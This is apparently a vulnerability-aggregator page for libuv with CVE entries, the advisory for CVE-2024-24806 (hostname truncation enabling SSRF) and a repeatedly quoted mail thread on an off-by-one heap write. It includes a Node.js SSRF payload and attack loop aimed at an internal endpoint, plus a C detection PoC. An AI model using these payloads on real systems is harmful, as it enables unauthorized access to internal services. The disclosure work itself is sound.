-Infinity
0

Vendor Risk Score

See how libuv compares to other vendors in security performance

View Risk Score →
Severity
8.1
Race Condition
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

The uvrwlockt fallback implementation for Windows XP and Server 2003 in libuv before 1.7.4 does not properly prevent threads from releasing the locks of other threads, which allows attackers to cause a denial of service (deadlock) or possibly have unspecified other impact by leveraging a race condition.

First published (updated )
Severity
7.3
EPSS
0.11%
SSRF
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

libuv is a multi-platform support library with a focus on asynchronous I/O. The uvgetaddrinfo function in src/unix/getaddrinfo.c (and its windows counterpart src/win/getaddrinfo.c), truncates hostnames to 256 characters before calling getaddrinfo. This behavior can be exploited to create addresses like 0x00007f000001, which are considered valid by getaddrinfo and could allow an attacker to craft payloads that resolve to unintended IP addresses, bypassing developer checks. The vulnerability arises due to how the hostnameascii variable (with a length of 256 bytes) is handled in uvgetaddrinfo and subsequently in uvidnatoascii. When the hostname exceeds 256 characters, it gets truncated without a terminating null byte. As a result attackers may be able to access internal APIs or for websites (similar to MySpace) that allows users to have username.example.com pages. Internal services that crawl or cache these user pages can be exposed to SSRF attacks if a malicious user chooses a long vulnerable username. This issue has been addressed in release version 1.48.0. Users are advised to upgrade. There are no known workarounds for this vulnerability.

1 / 3
Source: Ubuntu
First published (updated )

https://github.com/libuv/libuv/releases/tag/v1.48.0 shows the release yesterday of stable release 1.48.0, including a fix for CVE-2024-24806.

https://github.com/libuv/libuv/security/advisories/GHSA-f74f-cvh7-c6q6 offers this information about that CVE: Affected versions: > 1.45.x Patched versions: v1.48.0 Summary:

The uvgetaddrinfo function in src/unix/getaddrinfo.c (and its windows counterpart src/win/getaddrinfo.c), truncates hostnames to 256 characters before calling getaddrinfo. This behavior can be exploited to create addresses like 0x00007f000001, which are considered valid by getaddrinfo and could allow an attacker to craft payloads that resolve to unintended IP addresses, bypassing developer checks.

Details:

The vulnerability arises due to how the hostnameascii variable (with a length of 256 bytes) is handled in uvgetaddrinfo and subsequently in uvidnatoascii. When the hostname exceeds 256 characters, it gets truncated without a terminating null byte. Depending on the build and runtime environment, it can lead to different exploitation scenarios:

1. For example In some nodejs builds, like the one distributed with Kali Linux, the next byte in memory happens to be a null byte, making the truncated hostname valid.

2. In other builds, the last byte of the hostname is a random value (0-256) but identical in successive calls, and the subsequent byte is a null byte. This situation can be exploited through brute force, especially in production environments where many Node.js instances run in parallel (pm2, kubernetes, etc).

3. Since the last byte is random, there are cases where it's one of 0-9a-f, which makes 16 possible cases (out of 256) useful for calling localhost (127.0.0.x) and potentially bypassing security measures on internal APIs. The same is true for calling other IP-ranges.

PoC

// nodejs reproduction code: const dns = require('dns'); async function run(ip, exactIP) { let hexIP = ip.split('.').map(x => (+x).toString(16).padStart(2, '0')).join(''); if (!exactIP) { hexIP = hexIP.substring(0, hexIP.length - 1); }

const payload = 0x${'0'.repeat(256-hexIP.length-2)}${hexIP}.example.com; dns.lookup(payload, (err, addr) => { if (err); // not successful else if (addr === ip) console.log('', addr); else console.log(' ', addr); // resolved to a shifted ip-address }); }

if (process.argv[2]) { run ('4.2.2.4', true) // exact match, less probable (P=1/256), for kali-like builds works perfectly // run('127.0.0.1', false); // any 127.0.0.x, higher probability (P=1/32) } else { const cp = require('childprocess') for (let i=0; i<1024; ++i) { cp.spawn('node', [process.argv[1], 'x'], { stdio: 'inherit' }); } }

Impact

Access to Internal APIs:

The following code, when deployed in an environment with multiple pods (e.g., Kubernetes), is vulnerable to the attack described above, potentially allowing unauthorized access to internal APIs.

const axios = require('axios'); const express = require('express');

const app = express(); app.get('/', async (req, res) => { const url = req.query?.url || ''; if (new URL(url).hostname.endsWith('.example.com')) { try { const { data } = await axios.get(url, { timeout: 3000 }); res.send(data); } catch(e) { res.status(400).send('error'); } } else { res.status(400).send('Invalid url'); } }); app.listen(80);

// internal endpoint available only to local IPs // (in reality deployed inside another service) const internalApp = express(); internalApp.get('/secret', (req, res) => { res.send('the secret panel'); }); internalApp.listen(3000);

// pm2 start s1.js -i 128

function attack() { for (let i=0; i<128; i++) { const payload = '0x' + '0'.repeat(246) + '7f000001'; fetch(http://localhost?url=http://${payload}.example.com:3000/secret) .then(x => x.text()) .then(console.log); } }

SSRF Attack:

Another scenario involves websites (similar to MySpace) that allows users to have username.example.com pages. Internal services that crawl or cache these user pages can be exposed to SSRF attacks if a malicious user chooses a long vulnerable username.

Severity: High CVE ID: CVE-2024-24806 Credits: @arash16 Reporter -- -Alan Coopersmith- alan.coopersmith () oracle com Oracle Solaris Engineering - https://blogs.oracle.com/solaris

Hi,

On Thu, Feb 08, 2024 at 12:15:23PM -0800, Alan Coopersmith wrote: https://github.com/libuv/libuv/releases/tag/v1.48.0 shows the release yesterday of stable release 1.48.0, including a fix for CVE-2024-24806.

https://github.com/libuv/libuv/security/advisories/GHSA-f74f-cvh7-c6q6 offers this information about that CVE: Affected versions: > 1.45.x Patched versions: v1.48.0 For completeness: The range of affected version in the above was rectified after contacting upstream:

https://github.com/libuv/libuv/commit/6dd44caa35b4697d7e8c1b9fa0ba8e95d73355de

did introduce the support, which is in v1.24.0.

Regards, Salvatore

Last few days ago I found an off-by-one heap buffer overflow in libuv. Off-by-one NUL write past a heap buffer in uvutf16towtf8() when called from the Windows TTY line-read path. When a user types or pastes CJK characters into a Windows console application backed by libuv, a 1-byte out-of-bounds NUL write occurs if the read buffer size is divisible by 3.

I found this while reading through the TTY code. uvutf16towtf8() in src/idna.c unconditionally writes a NUL terminator at: c target++ = '\0'; // idna.c:550 -- writes at target[targetlen] when buffer is full

The function's own comment says targetlenptr should be the length excluding space for NUL. Two callers in util.c handle this correctly: c utf8len = sizeptr - 1; / Reserve space for NUL / // util.c:126 size -= 1; / Reserve space for NUL. / // util.c:1121

But the TTY line-read path passes the full buffer size without the subtraction: c readbytes = bytes; // tty.c:558 — should be bytes - 1 uvutf16towtf8(utf16, readchars, &handle->tty.rd.readlinebuffer.base, &readbytes);

The overflow happens when all the input characters encode to exactly 3 UTF-8 bytes each (BMP characters in U+0800–U+FFFF range, like CJK ideographs). The TTY code computes chars = bytes / 3 (tty.c:540), so when bytes % 3 == 0, the worst-case output chars 3 equals bytes exactly, and the NUL terminator writes one byte past the buffer.

The buffer size comes from the application's alloccb. libuv suggests 8192 (not divisible by 3), but any application returning a size that's divisible by 3 hits this.

Introduced in v1.47.0 (commit f3889085, PR #4021), still present on v1.x HEAD.

Best

Ali Raza (@locus-x64)

On 2026/03/19 21:45, Ali Raza wrote: Last few days ago I found an off-by-one heap buffer overflow in libuv. Off-by-one NUL write past a heap buffer in uvutf16towtf8() when called from the Windows TTY line-read path. When a user types or pastes CJK characters into a Windows console application backed by libuv, a 1-byte out-of-bounds NUL write occurs if the read buffer size is divisible by 3.

I found this while reading through the TTY code. uvutf16towtf8() in src/idna.c unconditionally writes a NUL terminator at: c target++ = '\0'; // idna.c:550 -- writes at target[targetlen] when buffer is full

The function's own comment says targetlenptr should be the length excluding space for NUL. Two callers in util.c handle this correctly: c utf8len = sizeptr - 1; / Reserve space for NUL / // util.c:126 size -= 1; / Reserve space for NUL. / // util.c:1121

But the TTY line-read path passes the full buffer size without the subtraction: c readbytes = bytes; // tty.c:558 — should be bytes - 1 uvutf16towtf8(utf16, readchars, &handle->tty.rd.readlinebuffer.base, &readbytes);

The overflow happens when all the input characters encode to exactly 3 UTF-8 bytes each (BMP characters in U+0800–U+FFFF range, like CJK ideographs). The TTY code computes chars = bytes / 3 (tty.c:540), so when bytes % 3 == 0, the worst-case output chars 3 equals bytes exactly, and the NUL terminator writes one byte past the buffer.

The buffer size comes from the application's alloccb. libuv suggests 8192 (not divisible by 3), but any application returning a size that's divisible by 3 hits this.

Introduced in v1.47.0 (commit f3889085, PR #4021), still present on v1.x HEAD. Seems the fix for this was merged last week?

https://github.com/libuv/libuv/commit/ec0ab5d77d32d836a60b024fa43d54ed3ce3ce87

PoC

Tested on Windows 10 22H2 x64, Visual Studio 2022 Build Tools, libuv v1.x HEAD.

This is a detection-only PoC — it places a canary byte after the buffer and checks if the NUL overwrites it. No exploitation attempted.

1. Build libuv:

cmd git clone https://github.com/libuv/libuv.git cd libuv && git checkout v1.x mkdir build && cd build cmake .. -G "NMake Makefiles" -DCMAKEBUILDTYPE=Release -DBUILDTESTING=OFF -DLIBUVBUILDSHARED=OFF nmake cd ..

2. Save as poc\poc.c:

c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include "uv.h"

#define CJKCHAR 0x4E2D / U+4E2D (中) — 3 UTF-8 bytes /

static int testoverflow(sizet bufsize) { sizet numchars = bufsize / 3; char mem = (char )malloc(bufsize + 16); uint16t utf16 = (uint16t )malloc(numchars sizeof(uint16t)); char target; sizet targetlen; unsigned char canary; int rc;

if (!mem || !utf16) { free(mem); free(utf16); return -1; }

memset(mem, 0xAA, bufsize + 16); for (sizet i = 0; i < numchars; i++) utf16[i] = CJKCHAR;

target = mem; targetlen = bufsize; / reproduces the tty.c:558 pattern — no -1 / rc = uvutf16towtf8(utf16, (ssizet)numchars, &target, &targetlen); canary = (unsigned char)mem[bufsize];

printf(" buf=%-5zu chars=%-4zu rc=%-3d byteafter=0x%02X %s\n", bufsize, numchars, rc, canary, canary == 0x00 ? "OVERFLOW" : "ok");

free(utf16); free(mem); return canary == 0x00 ? 1 : 0; }

int main(void) { sizet sizes[] = {48, 96, 192, 384, 768, 1536, 3072, 6144}; int n = sizeof(sizes) / sizeof(sizes[0]); int hits = 0;

printf("=== uvutf16towtf8() off-by-one PoC ===\n\n"); printf("Test: buffer sizes divisible by 3 (should overflow):\n"); for (int i = 0; i < n; i++) hits += testoverflow(sizes[i]);

printf("\nControl: buffer size NOT divisible by 3:\n"); testoverflow(100);

printf("\n%s: %d/%d overflows detected\n", hits > 0 ? "VULNERABLE" : "NOT VULNERABLE", hits, n); return hits > 0 ? 1 : 0; }

3. Compile and run (from x64 Native Tools Command Prompt for VS 2022):

cmd mkdir poc && cd poc cl /nologo /W3 /MD poc.c /I ..\include /link /LIBPATH:..\build libuv.lib advapi32.lib iphlpapi.lib psapi.lib shell32.lib user32.lib userenv.lib ws232.lib dbghelp.lib ole32.lib uuid.lib poc.exe

Output: SS Attached

Impact

Out-of-bounds heap write (1 NUL byte) triggered by console input on Windows. The practical impact depends on heap layout and allocator behavior in the consuming application. Any Windows application using libuv's TTY line reading with a read buffer size divisible by 3 is affected. Versions v1.47.0 through current v1.x HEAD.

Best,

Ali Raza (@locus-x64)

On Thu, 19 Mar 2026 at 21:45, Ali Raza <elirazamumtaz () gmail com> wrote: Last few days ago I found an off-by-one heap buffer overflow in libuv. Off-by-one NUL write past a heap buffer in uvutf16towtf8() when called from the Windows TTY line-read path. When a user types or pastes CJK characters into a Windows console application backed by libuv, a 1-byte out-of-bounds NUL write occurs if the read buffer size is divisible by 3.

I found this while reading through the TTY code. uvutf16towtf8() in src/idna.c unconditionally writes a NUL terminator at: c target++ = '\0'; // idna.c:550 -- writes at target[targetlen] when buffer is full

The function's own comment says targetlenptr should be the length excluding space for NUL. Two callers in util.c handle this correctly: c utf8len = sizeptr - 1; / Reserve space for NUL / // util.c:126 size -= 1; / Reserve space for NUL. / // util.c:1121

But the TTY line-read path passes the full buffer size without the subtraction: c readbytes = bytes; // tty.c:558 — should be bytes - 1 uvutf16towtf8(utf16, readchars, &handle->tty.rd.readlinebuffer.base, &readbytes);

The overflow happens when all the input characters encode to exactly 3 UTF-8 bytes each (BMP characters in U+0800–U+FFFF range, like CJK ideographs). The TTY code computes chars = bytes / 3 (tty.c:540), so when bytes % 3 == 0, the worst-case output chars 3 equals bytes exactly, and the NUL terminator writes one byte past the buffer.

The buffer size comes from the application's alloccb. libuv suggests 8192 (not divisible by 3), but any application returning a size that's divisible by 3 hits this.

Introduced in v1.47.0 (commit f3889085, PR #4021), still present on v1.x HEAD.

Best

Ali Raza (@locus-x64)

It got patched and merged via this PR https://github.com/libuv/libuv/commit/ec0ab5d77d32d836a60b024fa43d54ed3ce3ce87

Best,

Ali Raza (@locus-x64)

On Thu, 19 Mar 2026 at 21:48, Ali Raza <elirazamumtaz () gmail com> wrote: PoC

Tested on Windows 10 22H2 x64, Visual Studio 2022 Build Tools, libuv v1.x HEAD.

This is a detection-only PoC — it places a canary byte after the buffer and checks if the NUL overwrites it. No exploitation attempted.

1. Build libuv:

cmd git clone https://github.com/libuv/libuv.git cd libuv && git checkout v1.x mkdir build && cd build cmake .. -G "NMake Makefiles" -DCMAKEBUILDTYPE=Release -DBUILDTESTING=OFF -DLIBUVBUILDSHARED=OFF nmake cd ..

2. Save as poc\poc.c:

c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include "uv.h"

#define CJKCHAR 0x4E2D / U+4E2D (中) — 3 UTF-8 bytes /

static int testoverflow(sizet bufsize) { sizet numchars = bufsize / 3; char mem = (char )malloc(bufsize + 16); uint16t utf16 = (uint16t )malloc(numchars sizeof(uint16t)); char target; sizet targetlen; unsigned char canary; int rc;

if (!mem || !utf16) { free(mem); free(utf16); return -1; }

memset(mem, 0xAA, bufsize + 16); for (sizet i = 0; i < numchars; i++) utf16[i] = CJKCHAR;

target = mem; targetlen = bufsize; / reproduces the tty.c:558 pattern — no -1 / rc = uvutf16towtf8(utf16, (ssizet)numchars, &target, &targetlen); canary = (unsigned char)mem[bufsize];

printf(" buf=%-5zu chars=%-4zu rc=%-3d byteafter=0x%02X %s\n", bufsize, numchars, rc, canary, canary == 0x00 ? "OVERFLOW" : "ok");

free(utf16); free(mem); return canary == 0x00 ? 1 : 0; }

int main(void) { sizet sizes[] = {48, 96, 192, 384, 768, 1536, 3072, 6144}; int n = sizeof(sizes) / sizeof(sizes[0]); int hits = 0;

printf("=== uvutf16towtf8() off-by-one PoC ===\n\n"); printf("Test: buffer sizes divisible by 3 (should overflow):\n"); for (int i = 0; i < n; i++) hits += testoverflow(sizes[i]);

printf("\nControl: buffer size NOT divisible by 3:\n"); testoverflow(100);

printf("\n%s: %d/%d overflows detected\n", hits > 0 ? "VULNERABLE" : "NOT VULNERABLE", hits, n); return hits > 0 ? 1 : 0; }

3. Compile and run (from x64 Native Tools Command Prompt for VS 2022):

cmd mkdir poc && cd poc cl /nologo /W3 /MD poc.c /I ..\include /link /LIBPATH:..\build libuv.lib advapi32.lib iphlpapi.lib psapi.lib shell32.lib user32.lib userenv.lib ws232.lib dbghelp.lib ole32.lib uuid.lib poc.exe

Output: SS Attached

Impact

Out-of-bounds heap write (1 NUL byte) triggered by console input on Windows. The practical impact depends on heap layout and allocator behavior in the consuming application. Any Windows application using libuv's TTY line reading with a read buffer size divisible by 3 is affected. Versions v1.47.0 through current v1.x HEAD.

Best,

Ali Raza (@locus-x64)

On Thu, 19 Mar 2026 at 21:45, Ali Raza <elirazamumtaz () gmail com> wrote: Last few days ago I found an off-by-one heap buffer overflow in libuv. Off-by-one NUL write past a heap buffer in uvutf16towtf8() when called from the Windows TTY line-read path. When a user types or pastes CJK characters into a Windows console application backed by libuv, a 1-byte out-of-bounds NUL write occurs if the read buffer size is divisible by 3.

I found this while reading through the TTY code. uvutf16towtf8() in src/idna.c unconditionally writes a NUL terminator at: c target++ = '\0'; // idna.c:550 -- writes at target[targetlen] when buffer is full

The function's own comment says targetlenptr should be the length excluding space for NUL. Two callers in util.c handle this correctly: c utf8len = sizeptr - 1; / Reserve space for NUL / // util.c:126 size -= 1; / Reserve space for NUL. / // util.c:1121

But the TTY line-read path passes the full buffer size without the subtraction: c readbytes = bytes; // tty.c:558 — should be bytes - 1 uvutf16towtf8(utf16, readchars, &handle->tty.rd.readlinebuffer.base, &readbytes);

The overflow happens when all the input characters encode to exactly 3 UTF-8 bytes each (BMP characters in U+0800–U+FFFF range, like CJK ideographs). The TTY code computes chars = bytes / 3 (tty.c:540), so when bytes % 3 == 0, the worst-case output chars 3 equals bytes exactly, and the NUL terminator writes one byte past the buffer.

The buffer size comes from the application's alloccb. libuv suggests 8192 (not divisible by 3), but any application returning a size that's divisible by 3 hits this.

Introduced in v1.47.0 (commit f3889085, PR #4021), still present on v1.x HEAD.

Best

Ali Raza (@locus-x64)

When I requested that my report be published and asked for a CVE for this vulnerability, the maintainers (CC) closed my advisory report, saying: “A zero byte is written past the end of the buffer, right? There’s not much attack surface there since it’s in the TTY code. Users don’t regularly pwn themselves, one would hope.”

But I am still in favor as it's still a genuine heap buffer overflow: the NUL byte lands one past the allocated region, which can corrupt heap metadata or an adjacent allocation's first byte. In the right conditions (e.g., an application embedding libuv that reads TTY input into a buffer sized divisible by 3), this could lead to heap corruption. Low severity for sure, but it's a real out-of-bounds write rather than a theoretical one and the PoC confirms it reliably on every run. Even CWE-193 (off-by-one) with a NUL byte has been assigned CVEs in similar libraries before.

On Thu, 19 Mar 2026 at 21:56, Ali Raza <elirazamumtaz () gmail com> wrote: It got patched and merged via this PR https://github.com/libuv/libuv/commit/ec0ab5d77d32d836a60b024fa43d54ed3ce3ce87

Best,

Ali Raza (@locus-x64)

On Thu, 19 Mar 2026 at 21:48, Ali Raza <elirazamumtaz () gmail com> wrote: PoC

Tested on Windows 10 22H2 x64, Visual Studio 2022 Build Tools, libuv v1.x HEAD.

This is a detection-only PoC — it places a canary byte after the buffer and checks if the NUL overwrites it. No exploitation attempted.

1. Build libuv:

cmd git clone https://github.com/libuv/libuv.git cd libuv && git checkout v1.x mkdir build && cd build cmake .. -G "NMake Makefiles" -DCMAKEBUILDTYPE=Release -DBUILDTESTING=OFF -DLIBUVBUILDSHARED=OFF nmake cd ..

2. Save as poc\poc.c:

c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include "uv.h"

#define CJKCHAR 0x4E2D / U+4E2D (中) — 3 UTF-8 bytes /

static int testoverflow(sizet bufsize) { sizet numchars = bufsize / 3; char mem = (char )malloc(bufsize + 16); uint16t utf16 = (uint16t )malloc(numchars sizeof(uint16t)); char target; sizet targetlen; unsigned char canary; int rc;

if (!mem || !utf16) { free(mem); free(utf16); return -1; }

memset(mem, 0xAA, bufsize + 16); for (sizet i = 0; i < numchars; i++) utf16[i] = CJKCHAR;

target = mem; targetlen = bufsize; / reproduces the tty.c:558 pattern — no -1 / rc = uvutf16towtf8(utf16, (ssizet)numchars, &target, &targetlen); canary = (unsigned char)mem[bufsize];

printf(" buf=%-5zu chars=%-4zu rc=%-3d byteafter=0x%02X %s\n", bufsize, numchars, rc, canary, canary == 0x00 ? "OVERFLOW" : "ok");

free(utf16); free(mem); return canary == 0x00 ? 1 : 0; }

int main(void) { sizet sizes[] = {48, 96, 192, 384, 768, 1536, 3072, 6144}; int n = sizeof(sizes) / sizeof(sizes[0]); int hits = 0;

printf("=== uvutf16towtf8() off-by-one PoC ===\n\n"); printf("Test: buffer sizes divisible by 3 (should overflow):\n"); for (int i = 0; i < n; i++) hits += testoverflow(sizes[i]);

printf("\nControl: buffer size NOT divisible by 3:\n"); testoverflow(100);

printf("\n%s: %d/%d overflows detected\n", hits > 0 ? "VULNERABLE" : "NOT VULNERABLE", hits, n); return hits > 0 ? 1 : 0; }

3. Compile and run (from x64 Native Tools Command Prompt for VS 2022):

cmd mkdir poc && cd poc cl /nologo /W3 /MD poc.c /I ..\include /link /LIBPATH:..\build libuv.lib advapi32.lib iphlpapi.lib psapi.lib shell32.lib user32.lib userenv.lib ws232.lib dbghelp.lib ole32.lib uuid.lib poc.exe

Output: SS Attached

Impact

Out-of-bounds heap write (1 NUL byte) triggered by console input on Windows. The practical impact depends on heap layout and allocator behavior in the consuming application. Any Windows application using libuv's TTY line reading with a read buffer size divisible by 3 is affected. Versions v1.47.0 through current v1.x HEAD.

Best,

Ali Raza (@locus-x64)

On Thu, 19 Mar 2026 at 21:45, Ali Raza <elirazamumtaz () gmail com> wrote: Last few days ago I found an off-by-one heap buffer overflow in libuv. Off-by-one NUL write past a heap buffer in uvutf16towtf8() when called from the Windows TTY line-read path. When a user types or pastes CJK characters into a Windows console application backed by libuv, a 1-byte out-of-bounds NUL write occurs if the read buffer size is divisible by 3.

I found this while reading through the TTY code. uvutf16towtf8() in src/idna.c unconditionally writes a NUL terminator at: c target++ = '\0'; // idna.c:550 -- writes at target[targetlen] when buffer is full

The function's own comment says targetlenptr should be the length excluding space for NUL. Two callers in util.c handle this correctly: c utf8len = sizeptr - 1; / Reserve space for NUL / // util.c:126 size -= 1; / Reserve space for NUL. / // util.c:1121

But the TTY line-read path passes the full buffer size without the subtraction: c readbytes = bytes; // tty.c:558 — should be bytes - 1 uvutf16towtf8(utf16, readchars, &handle->tty.rd.readlinebuffer.base, &readbytes);

The overflow happens when all the input characters encode to exactly 3 UTF-8 bytes each (BMP characters in U+0800–U+FFFF range, like CJK ideographs). The TTY code computes chars = bytes / 3 (tty.c:540), so when bytes % 3 == 0, the worst-case output chars 3 equals bytes exactly, and the NUL terminator writes one byte past the buffer.

The buffer size comes from the application's alloccb. libuv suggests 8192 (not divisible by 3), but any application returning a size that's divisible by 3 hits this.

Introduced in v1.47.0 (commit f3889085, PR #4021), still present on v1.x HEAD.

Best

Ali Raza (@locus-x64)

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203